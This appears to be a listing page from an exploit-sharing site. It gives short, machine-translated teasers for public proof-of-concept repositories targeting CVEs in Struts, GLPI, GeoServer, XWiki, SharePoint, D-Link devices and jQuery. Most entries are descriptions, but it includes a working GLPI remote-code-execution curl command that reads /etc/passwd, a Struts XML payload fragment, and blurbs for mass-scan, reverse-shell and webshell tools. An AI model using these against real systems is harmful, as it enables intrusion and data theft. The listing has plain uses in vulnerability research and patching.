CVE-2021-22053

CVE-2021-22053 CVE-2021-22053: Vulnerabilità di risoluzione dei template di Spring Cloud Netflix Hystrix Dashboard Descrizione Le applicazioni che utilizzano sia spring-cloud-netflix-hystrix-dashboard che spring-boot-starter-thymeleaf espongono un modo per eseguire codice inviato all'interno del...

S2-052

CVE-2017-9805 （S2-052）Exploit di Reverse Shell Versioni interessate root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0...

CVE-2021-46398

CVE-2021-46398 - Lalie ARNOUD, Gaspard ANDRIEU In questo repository troverai una prova di concerto dello sfruttamento della vulnerabilità CVE-2021-46398 tramite docker compose, oltre a un'analisi degli impatti di questa vulnerabilità sui sistemi informativi. root@kitploit: Exploit Title:...

CVE-2023-22527

Non sono responsabile per alcun attacco illegale CVE-2023-22527 Script di scansione di massa aiuto root@kitploit: usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD...

CVE-2024-36401

CVE-2024-36401: Esecuzione Remota di Codice Non Autenticata su GeoServer Exploiter – uno strumento di rilevamento e sfruttamento delle vulnerabilità per l'esecuzione remota di codice non autenticata su GeoServer CVE-2024-36401. Installazione root@kitploit: git clone...

CVE-2021-21972

Controlla CVE-2021-21972 CVE-2021-21972 vCenter-6.5-7.0 RCE POC...

CVE-2020-11022-CVE-2020-11023

CVE-2020-11022 CVE-2020-11023 Nelle versioni di jQuery maggiori o uguali alla 1.2 e precedenti alla 3.5.0, passare HTML da fonti non attendibili - anche dopo averlo sanitizzato - a uno dei metodi di manipolazione del DOM di jQuery cioè .html, .append e altri può eseguire codice non attendibile...

cve-2020-11023-demonstration

Jquery XSS - CVE-2020-11023 Questa è una dimostrazione della riproduzione di CVE-2020-11023. La fonte proviene principalmente da questo articolo del blog. Riproduzione Installa le dipendenze npm con npm install, jQuery 3.4.1 è incluso come dipendenza. Esegui il progetto con, ad esempio, live serv...

CVE-2024-22243

CVE-2024-22243 Codice utilizzato da @SeanPesce...

CVE-2025-24893

Analisi della vulnerabilità CVE-2025-24893 XWiki RCE Configurazione dell'ambiente 1. Esecuzione dell'ambiente XWiki 15.10.10 root@kitploit: docker-compose up -d 2. Accesso a XWiki URL: http://localhost:8080 Dopo aver completato la configurazione iniziale, procedere con il test Dopo l'accesso alla...

text4shell-exploit

Text4shell-Exploit Dies ist ein Proof of Concept, der die Schwachstelle in Apache Commons Text CVE-2022-42889 ausnutzt. Verwundbare Versionen : 1.5.0 bis ausschließlich 1.10.0 Auswirkungen Eine erfolgreiche Ausnutzung dieser Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer,...

CVE-2020-14882-14883

CVE-2020-14882&14883 Weblogic ist ein von Oracle entwickelter J2EE-Anwendungsserver. CVE-2020-14882 ist eine Schwachstelle für nicht autorisierten Zugriff auf die Console; der Schweregrad der Schwachstelle wird als kritisch eingestuft, mit einer Bewertung von 9.8. CVE-2020-14883 ermöglicht unter...

CVE-2018-12613

CVE-2018-12613 Bug di inclusione locale di file dovuto al bypass del filtro utilizzando il carattere %253f. Software interessato 1. PHPMyAdmin v.4.8.0 2. PHPMyAdmin v.4.8.1 Come usare Questo script PowerShell necessita di tre parametri per creare una richiesta HTTP di exploit: root@kitploit: 1...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 exploit escrito em win32/c++ dependência openssl. Porte de https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instruções Este PoC requer bibliotecas openssl ligadas estaticamente. Coloque os includes do openssl em...

CVE-2020-7115

CVE-2020-7115 Erstellen Sie Ihre bösartige Engine in Sekunden buildengine.sh Einfaches Skript zum Generieren einer bösartigen Engine , die bereit ist, in openssl Argument Injection Szenarien verwendet zu werden. Wie benutzt man das? Es ist sehr einfach, ändern Sie einfach die Datei engine.c mit d...

CVE-2022-35914

CVE-2022-35914 RCE non autenticato in GLPI 10.0.2 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

OurSharePoint-CVE-2025-53770

OurSharePoint — CVE-2025-53770 PoC Strumento RCE per SharePoint autonomo, unico binario. Genera una catena di gadget TypeConfuseDelegate come byte MS-NRBF grezzi senza ysoserial.exe, la avvolge in un payload di deserializzazione DataSet e la consegna tramite HTTP utilizzando il bypass di...

CVE-2024-3273-D-Link-Remote-Code-Execution-RCE

CVE-2024-3273 - Exploit per Esecuzione di Codice Remoto RCE su D-Link Descrizione Questo repository contiene un exploit per CVE-2024-3273 , una vulnerabilità critica trovata in specifici dispositivi D-Link che consente l'esecuzione di codice remoto RCE. La vulnerabilità deriva da una convalida...

React2Shell

🔐 React2Shell - Toolkit per RCE da Inquinamento RSC di Next.js Questo toolkit Python sfrutta l'inquinamento dei prototipi dei React Server Components RSC di Next.js + la catena di gadget React.lazy-1 per accesso RCE completo, inclusi shell interattivo "god shell", upload di file dropper di webshe...

CVE-2024-53691

CVE-2024-53691 https://www.qnap.com/en/security-advisory/qsa-24-28 https://vulners.com/cve/CVE-2024-53691 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 8.7 „Bei Ausnutzung könnte die Link-Following-Schwachstelle es entfernten Angreifern, die Benutzerzugriff erlangt haben,...